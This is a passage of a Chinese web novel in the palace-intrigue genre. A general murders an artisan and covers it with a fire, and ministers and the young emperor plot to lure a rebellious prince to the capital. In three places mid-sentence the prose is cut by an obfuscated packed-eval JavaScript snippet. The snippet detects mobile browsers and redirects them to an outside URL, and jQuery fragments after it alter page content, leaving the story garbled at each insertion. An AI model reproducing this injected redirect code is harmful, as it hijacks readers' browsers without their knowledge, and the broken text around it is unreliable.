这袋银子,比他这几两轻的骨头都要重上不少。 金中堂自顾自寻一矮凳坐下,吹了吹飘到眼前的一缕青烟:“先前交代过的,铸币的模子可还在?” 李老汉极尽卑躬屈膝道:“在……不不不,早已按照大人的吩咐,尽数销毁,无人知晓。” 金中堂明知故问道:“可有人查到你这里?” 121. 外攘内安(二十四)火势燎原 李老汉心虚不已,结结巴巴道:“没……没没没,我住得偏,怎么会有人查到我这里呢?” 金中堂低头冷笑一声:“那就好。” 说罢,便站起身。 手,早已放在刀把上。 “大人慢——” 手起刀落,李老汉话还没说完,便瞪大了眼睛,捂着脖子,径直仰面倒下。 “你的话,我信了。” 金中堂面无表情地盯着不能再说话的尸体,平静地取出一块方巾,细细擦过佩刀上沾染的血迹后,随手丢在尸体上。 事关殿下,他只能这么做。 火灶里的柴火噼里啪啦地烧着,锅里热的见底的剩饭噗吐噗吐地吐着泡。 因那口剩饭许久未曾有人翻动,早已糊底,冒出黑烟。 院内乱七八糟的柴火,慢慢燃起来,连带着周围邻家的七八间屋子。 除了李老汉家还住了人,附近的百姓早都搬离。 升起的黑烟,愈加浓烈。 “不好啦!” “走水啦!” “快来人啊!” “快来人救火啊!” 听音坊就在附近,也是早早听说了附近走水的事儿。 听音坊的小厮拎着水桶,喘得上气不接下气:“钱儿姑娘!钱儿姑娘!不好了,你家走水了。” 李钱儿抚琴的手一顿,冷笑一声:“真是报应不爽。” “怎么不一把火烧死他!” 真是好一场大火。 就连回府多时的崔至与王焕二人也听闻了。 王焕面色凝重。 才从京兆府尹那儿得来的消息,火势凶猛,就连附近的畅音坊、醉云轩的房子也有所波及。 京兆府尹说是天干物燥,现场派人看过,火是从庭院的那口灶台烧起来的,许是灶台的火星燎到院内散落的柴火上。 万幸那一片住的人家大多都在外头谋生计,不幸的是这场大火里只有一户没逃出来,这户人家家里共两人,其中还有一个三四岁连路都走不稳当的孩子。 火,是怎么烧起来的? 着实蹊跷。 “你们是说,你们两个前脚才出了那匠人家里,后脚他家便被一把大火给烧尽?”王落儒也察觉到异样:“人也没逃出来?” 王焕点点头。 一路上唯一的疑点,可能就只有那一闪而过的黑影。 是谁?是谁派的?真如姑父所言,与福康宫有关? 王落儒再问道:“你们此去,一点线索都没查到?” 崔至摇摇头,抢在王焕开口前答:“不曾。那匠人嘴很严实,威压、利诱皆不成,原想着改天再去,不想竟……” 王落儒思忖片刻,眉头越拧越紧:“这么看来,大有问题,可惜没问出什么来,也断了线索。” “不能再拖下去了,我即刻进宫,将此事禀明陛下!”王落儒思定。 “祖父——”“岳丈大人,三思啊!” 崔至挡在王落儒身前,语速极快劝道:“岳丈大人,诚王不轨之心,人尽皆知,可这么多年朝廷一直按兵不动未予理会,不就是怕我们大江朝内里先乱起来吗?” “陛下是未束发的年纪,未免也年轻气盛些,若此时禀明陛下,哪怕是一纸诏书判诚王个谋逆,倘若诚王举兵而起,又该如何?” 王落儒道:“陛下身为正统,焉能惧怕个小小藩王?诚王名不正言不顺,天下人又岂能服他?” 先前便是处处忍让步步退让,才致使诚王野心私欲膨胀至此! 崔至道:“先前孝懿太子便已查出诚王囤积私兵,如今三五年之后,栾南正是兵强马壮之时。” “如今我朝的北征战事未定,大军北上,实乃分身乏力,无暇顾及啊!” 王落儒痛心疾首:“哼,我早说过,北征一事不可行!” “真是误国误政!” 当初陛下初登皇位,为稳固朝政,求着福康宫那位临朝理政,如今朝政日渐稳固,福康宫那位本该逐步放权于陛下,退居深宫,可现在她哪里有半点放权之象? 崔至深吸一口气:“岳丈大人,木已成舟,多说无益,还是应当想想当下的对策才是。” 是非功过,便交由后世评说吧。最要紧的,是当下。 当下私铸币该怎么办?诚王又该怎样不流血地处置?绝不是他们打几句嘴仗、痛骂几句便能裁决的。 “陛下年幼,福康宫那位可不是。”王落儒冷静下来,当即思定,“备车马,入宫。” 恰此时,康佑帝刘绥召王落儒入宫的圣旨到了。 “岳丈大人!”崔至拉住王落儒的衣袖,叮嘱道:“三思而定。” 传旨的杨仕鑫斜眼看过来,下意识想说句挖苦的话,但面前几位到底都是朝廷的重臣,不是那些任他欺凌的虾米,因而仅是轻笑一声。 杨仕鑫皮笑肉不笑道:“太傅大人,陛下在宫里等着呢,还请快些。” “有劳内官带路。”王落儒跟在杨仕鑫身后,关心起刘绥来:“杨内官,陛下近来读书可还用心?” “陛下近来……”杨仕鑫想到与他平起平坐的蔡岑,眼珠狡黠转了了个圈,在王落儒面前告起状来:“陛下近来功课倒也用心,只是近来倒是在旁的上面多花了些心思。” “我在陛下身边侍奉多年,看着陛下长大,陛下的辛苦我等皆看在眼里,只是碍于身份,不敢多言。”杨仕鑫顿了顿,颇为为难道。 “大人是知道的,我等不过是一个奴才,陛下高兴了夸两句,赏赐些物件儿,若是不高兴了,骂上两句打一顿板子也是有的,哪里敢多说别的?”杨仕鑫宛转一笑,脸上带了三分的勉强。 杨仕鑫说话藏三瞒四,王落儒听得皱着眉,问道:“内官所说的旁的?指的是何事?” 杨仕鑫顾及左右,凑到王落儒耳边低语一声:“近来陛下常唤一宫女侍奉,此女妖冶无状,搅扰得陛下心绪不宁,常常分心。” 王落儒拧着眉头沉思。 妖冶?若说陛下身边妖冶的宫女,倒是有一个姓冯的内官,只是……这冯内官是杨仕鑫一手提上来的。 他先前曾在陛下面前提过一嘴,陛下对杨仕鑫多有纵容,最后也是不了了之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274318|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 杨仕鑫才说罢,便连连捂嘴,脸上一副冒犯惊恐的神情:“哎呀呀,我这张嘴啊,说这些做什么?” 杨仕鑫连着给了自己几个嘴巴子:“陛下的事儿,也是我等能妄议的?真是多嘴!” “还望大人切勿放在心上,全当我说的都是屁话。” 王落儒冷眼看着,轻哼一声,他倒要看看,这杨仕鑫葫芦里卖的是什么药。 马车不疾不徐,缓缓停在宫门口处。 王落儒整顿好仪容,踩着脚凳,前脚才挨着地面,后脚还落在脚凳上,岂料另有一马疾驰而来,车前套的马受惊而起,连带着王落儒连滚带爬一头栽下去,还好杨仕鑫扑过来垫在王落儒身下。 “放肆!竟敢宫门纵马!”杨仕鑫眼睛都快气歪了,怒喝一声:“来人!” 王落儒惊魂未定,理正衣冠,怒目圆睁。 “事出紧急,无意冲撞!”马上之人翻身跳下马来,亮明腰牌,乃是京城驻城军的大将金中堂。 金中堂拱手道:“改日,金某必将登门道歉,还望太傅大人见谅。”说罢,头也不回,疾步奔赴入宫。 金中堂背影渐远,杨仕鑫挥手驱散了面前扬起的莫须有的尘土:“真是狂妄至极!仗着背后有抚政大长公主撑腰,看不起我也就算了——”说着,转身面向王落儒,自嘲道:“竟全然不将太傅大人您放在眼里!” “即便是陛下对您,也是礼敬有加,他?算个什么东西!” 王落儒认得金中堂,当初大长公主与颖州蔡氏一远戚成婚,新婚之夜便是这金中堂带着大长公主连夜强闯宫门。 事后金中堂不单没受到责罚,还得到了褒奖,褒奖他忠心护主。 也是自那晚之后,帝后失和,蔡皇后受了冷落。 “罢了罢了!”王落儒眼睛眯起,嘴里却是一副息事宁人的态度,眼下还有一要紧事,金中堂暂且可以先放放。 因而王落儒反倒关心起杨仕鑫来:“杨内官可有伤着?” “劳烦太傅挂心,不曾伤着。”杨仕鑫见王落儒反应平平,讪讪笑道:“太傅大人,快些进宫面见陛下吧。” 刘绥早已等候多时,又听杨仕鑫说金中堂宫门前纵马冲撞了王落儒,慌得忙起身,脸上藏不住的关切:“那太傅可有伤着?” 刘绥转脸又看向杨仕鑫,责备道:“可有传御医看过?” 王落儒笑呵呵道:“不妨事不妨事,老臣这把身子骨,还是挺健朗的。” 刘绥“呵呵”轻笑两声,重新坐了回去。若是王落儒追究,必会好好参金中堂一本。 真是可惜! 借刀杀人坐壁上观的手段,他早已运用的炉火纯青,深得承道帝真传。 刘绥随意撑起下巴,斜眼看向王落儒,饶有兴致问道:“今日早朝,朕观太傅欲言又止,早朝之上有旁人打岔,朕怕太傅有所顾及,故而此时传太傅入宫。” “不知太傅在早朝上想说些什么?如今只你我师生二人,太傅尽可畅所欲言。” 王落儒道:“陛下,此事事关重大,臣不敢妄言,还请召大长公主前来一议。” 122. 外攘内安(二十七)心照不宣 “哦?”刘绥当即挑眉,有些惊诧,随即呵呵一笑,伸手一招:“传。” 杨仕鑫会意,当即带人去福康宫传话。 福康宫内,刘安神色不改,批着折子,全然不顾跪在一旁等候多时的金中堂。 金中堂自知做得不对,脑袋垂得低低的,始终不敢抬起头。 莲音瞥了眼金中堂,捧起晾到温热不烫的姜茶,低声劝道:“殿下,金将军跪了好一会儿了,天冷,地上凉。” 刘安抬手推开姜茶,嗤了一声:“哟,你这么心疼他,也别在我身边侍奉,改去服侍他吧。” 金中堂闻言,抬起头,冲着莲音摇头示意。 莲音见状,也不好再多说什么。 刘安抬眼瞥见,冷哼一声:“你们二人眉目传情就到别处去!” 莲音忙跪下:“奴不敢。” 金中堂也应声道:“末将怎敢在殿下宫里放肆?” “哦?”刘安像是听到什么新奇事,放下了手里的折子,打量起金中堂:“是吗?你不敢?” 金中堂脑袋重新低下去。 他知道刘安的脾气,也知道刘安为何而生气,只是他也是迫不得已!崔至与王焕二人已经查到了那匠人家里,那匠人口风不严,迟早会触及殿下的! 刘安深吸一口气,冷冷道:“我让你做什么去了?” “是让你杀人放火吗?” “京兆府尹的折子都递上来了!”放下的折子重新拾起,被重重摔在桌上。 刘安阴阳怪气道:“好一场火啊,真是烧得个干干净净啊!” 金中堂知道刘安在气头上,也不做辩解,只一味低着头,任凭刘安将心里的不快发泄出来。 “早知你这么能耐,当日事了,便该派你去一绝后患才是,也不必拖到今日。”刘安冷哼一声,恨铁不成钢道:“你脑子是浆糊做的不成?本来悄无声息的一件事,现在搞的,恨不得让全天下的人都知道吗?” 金中堂道:“末将无能。” “哼,你无能?”刘安又嗤了一声。 正说着,莲房来报:“殿下,陛下身边的杨仕鑫来了,说有要事相商。” 刘安眼睛眯起:“要事?” 金中堂想起今日王太傅也入宫了,忙道:“殿下,今日陛下还传召王太傅入宫。” 刘安依旧皱着眉头,轻捻手指,思索片刻,道:“让他进来吧。”转而看向金中堂,继续道:“你先起来吧,过后再找你算账!” 金中堂面上浮现些许喜色,垂头起身,侍立一旁。 杨仕鑫环顾了一圈,见金中堂也在此,对着刘安异常恭顺道:“殿下,陛下传召。” 刘安随口问了句:“所为何事?” 杨仕鑫笑道:“想必……殿下到了,太傅大人自会说明白。” “本宫即刻便去。”刘安点点头。 “是。”杨仕鑫乖乖退下。 刘安余光瞥了金中堂一眼,站起身来。 莲音见状,忙将姜茶奉上来,笑道:“今早殿下吩咐,熬煮些姜茶,如今都熬好了,殿下多少也喝上两口,祛祛寒吧。” 莲音知道刘安的习惯,入口的吃食尤为谨慎,怕刘安不放心,又补充了句:“我与莲房、莲亭都喝过了,虽有些辛辣,可喝完之后,身上都是暖暖的。” 刘安目光落在姜茶上,问道:“这是为福康宫特地熬的?宫人们可都喝上了?” 莲音道:“宫人们都喝上了,都感念殿下恩泽呢。这是御医院的林微为殿下特地熬制的,其中还添了些——” 莲音想说,其中还特地添了些别的药材,以来医治殿下近来时不时的咳嗽,可话还没说完,便被金中堂打断。 “殿下,近来京城风大,末将有一不情之请,不如赏末将一口姜茶。”金中堂笑着向刘安讨要姜茶。 他知道,殿下怕有人会在饮食中下毒,这才格外的小心谨慎。可他又不常在殿下身边,不能为殿下抵挡。 如今能有为殿下试毒的机会,他甘之如饴。 刘安笑着摆手:“一并赏你了。” 金中堂接过,先是放在鼻子处闻过,除了姜的辛辣味外,还有些许药材的香气。 刘安也是目不转睛地直盯着金中堂。 金中堂小口尝了下,未曾察觉异样,便端起杯子一饮而尽,喝罢,将杯底展示给刘安看,笑道:“多谢殿下赏赐!” 刘安这才放心,莲音见状,另取一杯来奉上,刘安接过,小口饮下,干涸起皮的嘴唇得到了浸润,看着光泽不少。 “中堂,你是本宫的心腹,一举一动,备受瞩目,故而不得不谨言慎行。”时间紧急,刘安来不及敲打训诫金中堂,特地语重心长道:“京兆府尹的折子才递了上来,转而我便从你嘴里知道了原委,如何能不替你忧心呢?” “在旁人看来,你做,与我做,又有什么两样呢?” 刘安叹了口气,问道:“可曾留下什么把柄?” 金中堂道:“殿下放心,微臣做事谨慎,驻城军得了走水的消息后,微臣便与京兆府尹共同奔赴至现场,亲眼看着京兆府尹下了决断。” “此事已板上钉钉,必不会牵扯到殿下头上,也不会牵扯到我头上,殿下也不必为我担心。” 听得金中堂如是说,刘安方才长舒一口气,点点头,笑着走到金中堂身边,拍了拍金中堂肩膀,道:“你素来忠勇,你做事,我向来放心。” “还有一事。”金中堂想起在宫门无意冲撞了王落儒,小心瞥了眼刘安脸色,道:“方才微臣来得急,在宫门处不小心驾马惊了王太傅的车驾……” “呵——”刘安偏头看向金中堂,狠狠白了金中堂一眼,无奈深吸一口气,叹气道:“明日你亲去太傅府上,登门致歉。记得,收一收你的脾气,千万要温顺些。” 金中堂应声:“是。” 刘安道:“你且去忙吧,近来京中巡卫要多费些精力,尤其注意栾南那边。” 金中堂点头退下。 刘安简单梳妆后,乘着轿辇,来到福宁殿。 刘绥与王落儒皆等了好一会儿。 见刘安来了,刘绥屏退宫人,亲自迎了上去:“长姐可算来了。”说罢,看向王落儒:“太傅大人,不知是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274319|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要紧事儿?非要长姐来了才肯说啊?” 刘安甚是不解,看向王落儒。 王落儒道:“事关朝廷根基,臣不得不……”说着,取出那一袋收集好的私铸币。 刘绥与刘安二人对视一眼,皆默契地眼珠打了圈转,未先开口。 刘绥先沉不住气,问道:“太傅,这是何意?” 王落儒道:“陛下,殿下,这些是私铸币,原在栾南偷偷流通,近来又流传到了京中诸位重臣家中,臣深感蹊跷。” “如今正值我大江北征之际,这些私铸币岂不是要坏我朝根基?毁我朝基业?” “私铸币……栾南私铸币……”刘绥喃喃道,两指间的一枚私铸币捏得用力。 刘绥知道自己的斤两。 他不像孝懿太子、秦王那样有强大显赫的母族,也不似英王、二哥那样才能斐然、前呼后拥,更没有逍遥王会搞钱、定北王能打仗那样的本事。 栾南诚王,是父皇的胞弟,得父皇纵容多年,别说什么私铸币,就连豢养私兵、勾结胡人这些勾当也是做得出来的。 父皇在位期间,孝懿太子监国期间,都没能将诚王怎么样,如今换做他来,手里无权无兵无势,处处受大姐姐钳制,前朝还有程显为首的寒门派、王落儒为首的世家守旧派争个不休,他拿什么去平定诚王吗? 单单凭他皇帝的名头吗? 刘绥继续装傻充楞:“太傅这是何意?” “你是说,诚王叔缺钱了?” 刘绥“啧”了一声,面上愧疚不已:“难怪北征之时,朕曾多番下令诚王叔出兵相助,然则诚王叔久久未曾予以回应,不成想诚王叔竟落魄至此!” “实在我这侄子做得不好!”刘绥扶额叹气,独自黯然神伤。 王落儒一怔,不知该怎么接话,抬眼向许久未曾出声的刘安求助。陛下愚钝,难不成抚政大长公主也愚钝不成? 大长公主当年代先帝监国理政,如今更是临朝听政数年,怎会听不出他话里的意思? 刘安察觉到王落儒投来的眼神,低头摆弄起手炉里烧得通红的炭来避开。 诚王就是这块烧得通红的炭,烫手,需得用名正言顺的水来浇灭。 再怎么说,既要名正言顺,也该由她这个做皇帝的弟弟来发号施令才是,何须轮得着她来做决断?何须轮得着她来担这份责? 王落儒性子直,忍不了:“还望陛下与殿下早做决断。” “嗯?”刘安与刘绥姐弟二人又是相视一眼,眼神缓缓瞟向王落儒,异口同声道:“决断什么?” “哦~”刘绥恍然大悟,“可是要朕下旨为栾南拨款,以解王叔燃眉之急?” 听得刘绥如此说,刘安一个忍俊不禁,肩膀轻微抖动了下,转瞬神色又恢复如常。 王落儒恨铁不成钢道:“陛下!” “诚王私自铸币,这可是谋逆的罪证!” “诚王心怀不轨,人人得而诛之,陛下当号令天下王侯,起兵伐之啊!” 刘绥身子前倾,惊得瞪大了眼,吐出一句话: “诚王谋逆?” 123. 外攘内安(二十八)福宁密谋 王落儒错愕,闪过那么一瞬的无语,随即不动声色地叹了口气:“是。” 刘绥咬了下嘴唇,颇感为难道:“那……那朕该如何做?” “大姐姐,我该怎么办?”极尽的可怜姿态。 王落儒与刘绥齐齐看向旁边冷眼旁观多时而未置一词的刘安。 刘安眼神先后落在王落儒与刘绥二人身上,旋即轻笑一声推脱:“事关重大,我哪里拿的定主意?不如……陛下下旨召二位丞相并各部尚书入宫商议?” “这……”王落儒有些犹豫,倒不为别的,只因程显。 程显此人,摇摆不定,只怕会坏了事。 “那便依大姐姐所言。”刘绥当即便下旨宣召刘安提及的这些人入宫商议。 冷不丁的宣召,重臣们摸不着头脑。 程显思索着近来的一些事,似乎并没什么值得紧急宣召的事儿。 难不成是今儿早朝太傅提及的女科相关事宜? 想到这儿,程显不免轻笑一声,首场女科声势浩大,最后却只有一人入场考试,说起来真是天大的笑话。 历来科考,人才济济,朝廷用都用不完,哪里又轮得着她们?哪里轮得着那群闺阁中的女子? 不对!程显脑中乍闪一念头:还有一事,尤为要紧——私铸币! 今早本想借着王落儒之口点明此事,自己则好卖诚王一个人情,手里再攥诚王的一个把柄,却不想王落儒退缩了。 也罢。 程显嗤笑一声,若是那群贵公子们能靠得住,孝懿太子又怎会薨逝? 程显掀起车帘的一角,同马车旁随侍的小厮低声道:“南郊可有消息?” 小厮凑近低声道:“如往常一般,重兵把守,周围五里,一片荒芜,一草一木皆被掌控。” 程显无奈,撇下车帘,扶额叹息,到底,该怎样才能见到二殿下呢? 不多时,朝中重臣齐聚福宁殿。 待刘绥近侍杨仕鑫将那一枚枚收集来的私铸币呈于众人面前时,众人皆面面相觑,噤声不言。 他们不知道这位小皇帝葫芦里卖的到底是什么药。 刘绥慢悠悠抿了口茶,不急不缓道:“太傅说,栾南的诚王叔要谋逆,故而,大姐姐特宣尔等入宫商议。” 三两句话,便将自己摘了个干干净净。 “父皇在位时期,诸位可都是朝中重臣,熟读经略,如今该如何做,可全仰仗诸位了。” 刘绥说罢,环顾一圈,只见诸臣皆缄默不言,神色亦变化无常。 刘安扫了眼左相温嘉诚,温嘉诚会意,率先开口道:“陛下,国有国法,谋逆当诛。” 温嘉诚说罢,便不再多言,只等着其他人言语。 刘绥等了许久,未曾听到别的话,便点名王落儒:“太傅是三朝老臣,家世渊博,又曾教导过孝懿太子,想必对此事还有别的见解吧?不妨一并都说出来吧。” 王落儒皱着眉头,有些吞吐道:“陛下,若依前朝先例,应当将诚王押解入京,听候发落。” 王落儒话音刚落,兵部尚书崔至不免平添几分担忧。 刘绥道:“诸位卿家以为如何?” 礼部尚书周述额头直冒冷汗,生怕刘绥点到自己,也生怕程显会让他先开口。 “不知,要如何将诚王押解入京?”程显道:“诚王既然敢行谋逆叛乱之事,必然是做好了万全的准备,如今定北王、温国公带兵北征,粮草消耗大,若是再生起一场战事,只怕会无暇顾及,最终会落得个两败俱伤的田地。” 程显可不想将一个千疮百孔的江山交在刘仲手上。 刘绥问道:“那依右相之言,眼下该当如何?” “诚王盘踞栾南已久,早已根深蒂固,若要连根拔起,必会损伤栾南根基,亦会影响朝廷。”程显道:“为今之计应当智取。若是能不费一兵一卒,那自然是好。” 崔至侧目而视,撇撇嘴,这话说得跟白说一样,谁不想不费一兵一卒拿下诚王? 刘绥向前探了探身子,再次追问道:“右相这般说,想必心中已有法子了,不知该如何智取?不用顾忌旁的,尽管直说。” 程显讪笑一声,道:“若是能……若是能让诚王离开栾南,进入京城——” 话还没说完,王落儒打断道:“不可,此举无异于引狼入室。” “何以见得?”程显浅笑道:“明明是瓮中捉鳖才是啊。” 程显解释道:“大长公主殿下奉先帝遗诏监理朝政,手持宫廷禁卫、羽林军、护城军三军的兵符,待诚王入了京,便尽在陛下与大长公主殿下的掌握之中,有诚王做质,栾南诚王的余孽翻不起什么波澜。” 刘绥转而看向刘安,问道:“大姐姐以为如何?” “右相这个瓮中捉鳖的计策倒是好,只是……”刘安顿了顿,垂眼思索。 程显的能力,刘安是认可的,也难得能和她想到一处去。 只是,程显与刘仲交好,而刘仲又曾与诚王私下有过勾结,程显与诚王未必就清白。 若真如此,那便真应了太傅说的,引狼入室。 不过转眼一想,程显说得也不错,京城三军尽在她掌控之中,即便七弟远在边疆,凭借着兵符,她也能稳得住局面。 刘安眨眨眼,又将问题推给刘绥与程显:“只是该如何召诚王入京呢?” 刘安当然知道该如何召诚王入京,无非就是一纸诏书,随便寻个什么由头,只要诚王入了京,便是刀俎上的鱼肉,任她宰割。 可这话不能由她来说。 她那个弟弟刘绥的心思,她可太清楚不过了,反正不管事情怎么翻,都粘不到他身上。 果不如刘安所料,刘绥忙抢在程显出声前接上话,双手一摊:“是啊。父皇在位时,便免了诚王的入京朝觐,如今该以什么样的缘由召诚王入京呢?” 程显垂着眼,眼珠直打转。 宜迟不宜早,他既怕诚王毫无准备便进京来,被小皇帝轻轻松松处理了;又怕这么短的时间内小皇帝与大长公主无法制伏诚王,将江山社稷拱手让出去。 “不如……来年的中秋? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274320|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”程显思虑再三,“借着中秋团圆的名义,召诚王入京团聚。” 中秋?崔至等人有些错愕,纷纷抬眼看向程显,不免回想起那场中秋宫宴。 那场宫宴之后,朝中多半官员,不论是东宫,还是与刘仲交好有过往来的,贬的贬,入狱的入狱,流放的流放,他也不例外。 先帝在时那场中秋宫宴发生的事,犹如昨日。 程显看向刘安:“不知殿下以为如何?” 刘绥脸色瞬间变了,冷眼扫过程显,最后落在刘安身上。 温嘉诚察觉到在场的气氛转变,担忧地看向刘安。 刘安笑笑,对上刘绥的眼神,问道:“不知陛下觉得可好?” 刘绥冷冷道:“正如右相先前所言,诚王盘踞栾南已久,对于谋逆之事,兴许早已做好了万全准备,若是再拖上八九个月直至中秋时,这江山岂不是要易主?” 程显毕恭毕敬道:“那不知陛下以为……” “右相曾言,诚王做好了万全的准备。”刘绥眉头紧皱,“嘶”的一声,打断程显的话,问道:“右相久居京城,如何得知栾南诚王的动静?啊?”言毕,挑眉看向程显。 “这些事,朕与大姐姐都不得而知,右相又是如何知晓?” 殿内诸人的目光齐齐落在程显身上,或探究,或存疑,或看笑。 程显一时语塞,支吾一声,额头当即沁出一层冷汗:“臣久不出京,只是揣测,揣测而已。” 刘绥依旧拧着眉头:“是吗?” 程显巧舌如簧道:“陛下,先帝在时,免了栾南每年的赋税,栾南每年征收的赋税皆在诚王手中。后因栾南边境与胡人相接,为护边疆,先帝又赋予诚王组建军队的权力。再加上如今流出的私铸币,如此种种,实在不让人不揣测诚王的不轨之心。” “哦~”刘绥注意到缩在众人后面久不出声的礼部尚书周述,点名道:“周述,你们也是这般揣测的吗?” 周述战战兢兢,犹豫再三,答道:“臣……愚钝。” 刘绥收起方才的咄咄逼人,面露愁色,佯装无知问道:“大姐姐,你以为,年终尾祭召诚王叔入京对峙如何?” 刘安笑道:“甚好,陛下决定便是。” “好!”刘绥一锤定音,“那便如大姐姐所言,以年终尾祭的名义召诚王入京。” 刘安听得直皱眉,什么叫如她所言? 真是可笑。 这样的谋略未免太过儿戏,王落儒还想说些什么,但被身后的崔至扯住。 “诸位都是朝中的重臣老臣,历经两朝,今日密谋之事——”刘绥扫了眼众人,道:“朕不希望有其他人知晓。”最后,意味深长的目光落在为首的程显身上。 程显带头跪下:“臣等,定当守口如瓶。” 刘绥浅浅打了个哈欠,眉眼之间难掩疲色,手执笔杆随意挑了下灯花:“散了吧。” 众臣子依次退下。 周述擦了擦头上的冷汗,小步小步挪到程显身旁:“程相,年终尾祭,礼部该如何操办才是?” 124. 外攘内安(二十九)暗度陈仓 49暗度陈仓 “年终尾祭……”程显嘴里喃喃念了一声,看来小皇帝这是要设下鸿门宴啊。 除掉诚王,小皇帝的江山自然坐得更稳,那二殿下日后登基便真的没了指望,这是他不愿看到的。 周述又试探着问了声:“程相?” 程显回过神,瞥了周述一眼:“方才在陛下面前,你怎么不问?” 周述嘴角一抽搐,一抹尴尬中夹杂着为难,为难中少不了认命的笑浮在脸上。 那样的情形那样的权斗旋涡,他大气都不敢喘,又怎么敢多话呢? 今年的年终尾祭的难办程度,丝毫不亚于陛下刚登基时尊封太后那一场。 程显忙着为刘仲布局奔走,哪里还顾得上周述的烦恼,仅斜眼扫了一瞬,当即匆匆出宫。 他们早前与诚王有过约定,待刘仲登基为帝,便封诚王摄政王,与刘仲并肩同尊。 待刘仲称帝这约定作不作数还另说,可若是诚王此时被清算,没了栾南的铁骑、少了诚王的支持,那日后刘仲登基便真的没了指望。 眼下之计,便是尽快将此事告知诚王,可谁料京城内外都加强了巡守,消息不单递不出去,还极易留下把柄,一时间,程显也没了办法。 途遇齐国公府的宅邸,程显眉头一挑,来了主意。 兴许……兴许齐国公那里会有门路。 早先齐国公与晋国公争锋相对时,朝中便因此分成了两个派系。 一派是以齐国公为首的文臣,一派则是以晋国公为首的武将。 像程显他们这种通过科举爬上来的新人,仅是在殿试时瞻仰过承道帝龙颜,之后便如蝼蚁淹没在两派无休止的争斗中。 当初,胡蛮南下入侵,为保国家安定,才满八岁的秦王被远送草原做质子。没了皇子做倚仗,齐国公一派也在与晋国公的争斗中败下阵来,至此不成气候。 晋国公一族与蔡皇后及孝懿太子互为倚仗,孝懿太子地位愈发稳固,晋国公一族愈发势大。一时间,晋国公一族风头无两。 然晋国公一族行事嚣张,不拘礼法,为承道帝所不喜。 恰逢当时,二皇子刘仲才思敏捷,在朝堂上脱颖而出,得承道帝偏爱,受承道帝重用,隐隐中还被承道帝扶持与孝懿太子相抗衡,一时朝堂风向转变,朝中以齐国公为首的不少文臣争相与刘仲交好。 程显也是在那时与齐国公有了交际往来。 只是蔡桐引起的京城叛乱,齐国公一族奋起反抗,死伤无数,甚至连秦王、贵妃都惨死在那场叛乱之中,自那以后,齐国公乃至整个汀州张氏都一蹶不振。 可到底,瘦死的骆驼比马大,汀州张氏的基业更是延传百年之久。 如今这种事儿,对他们来说只怕是小事一桩。 “国公爷,右相拜见。”齐国公府的小厮来报。 “右相拜见,右相拜见!”养在一旁的鹦鹉学着小厮的话连着叫了两声。 齐国公张世繁听闻此言,停了手里翻书的动作,眉头轻蹙,与对面的姐姐张兰馨相视一眼,二人眼中皆是疑惑不解。 平白无故的拜见……为了什么? 程显出身寒门,与他们这些世家大族向来不对付,可从未曾听说过他们齐国公府与程显有什么交情。 张世繁放下手里的书卷,眼珠转了一圈,侧目而视,问前来传话的小厮:“右相可有说此来何事?” 小厮茫然摇头道:“未曾说明。” 张世繁轻哼一声,抬手便要道一声“不见。” “且慢。”张兰馨以手里的书卷挡下张世繁抬起的手,道:“繁弟,先前我听温姐姐说,程显此人心机颇深,行事也不见得有多磊落,还是不要得罪他的好。” “虽不知他来为了什么,但不妨一见。”张兰馨抬手抚了抚鹦鹉的羽毛,站起身,拎起鹦鹉笼子,由着婢女整理衣袖,道:“我去后面听着。”说罢,便带着婢女们先去了前厅屏风后的偏厅候着。 张世繁撂下书卷,换了一身庄重沉稳的衣冠,去了前厅。 不多时,程显便在齐国公府仆从的引领下,见到了如今的齐国公张世繁。 齐国公张世繁,如今不过十五六的年纪,因父母兄长死于蔡桐引起的叛乱,独留下他与胞姐张兰馨二人,故而年纪轻轻便承袭家里世袭的爵位。 张世繁学着故去长辈们的待人接物模样,脸上难掩稚气,笑着起身相迎寒暄:“右相来访,真是稀客,稀客啊。” 张世繁动作老练:“请——” 程显同样笑着拱手道:“仓促拜访,叨扰齐国公了。” 寒暄不过两三句,程显环顾一圈厅内,只见三五仆从侍立在旁,程显额外瞥了张世繁一眼,端起茶盏,轻轻撇着茶沫,小抿一口。 张世繁察觉程显意图,当即摆手屏退仆从。 屏风后的张兰馨见状,也是屏退身边的婢女。 见仆从退下,程显放下茶盏,起身来至张世繁身旁,放低姿态道:“齐国公,老夫有一事相求,还望国公不要推辞。” 张世繁惊诧,屏风后的张兰馨听闻此言,同样惊诧。 他们家与程显并无甚交集,没想到今朝程显竟求到他们门上。 “呃……”张世繁错愕一声,忙走下座位,托住程显小臂:“不知右相所言何事?” 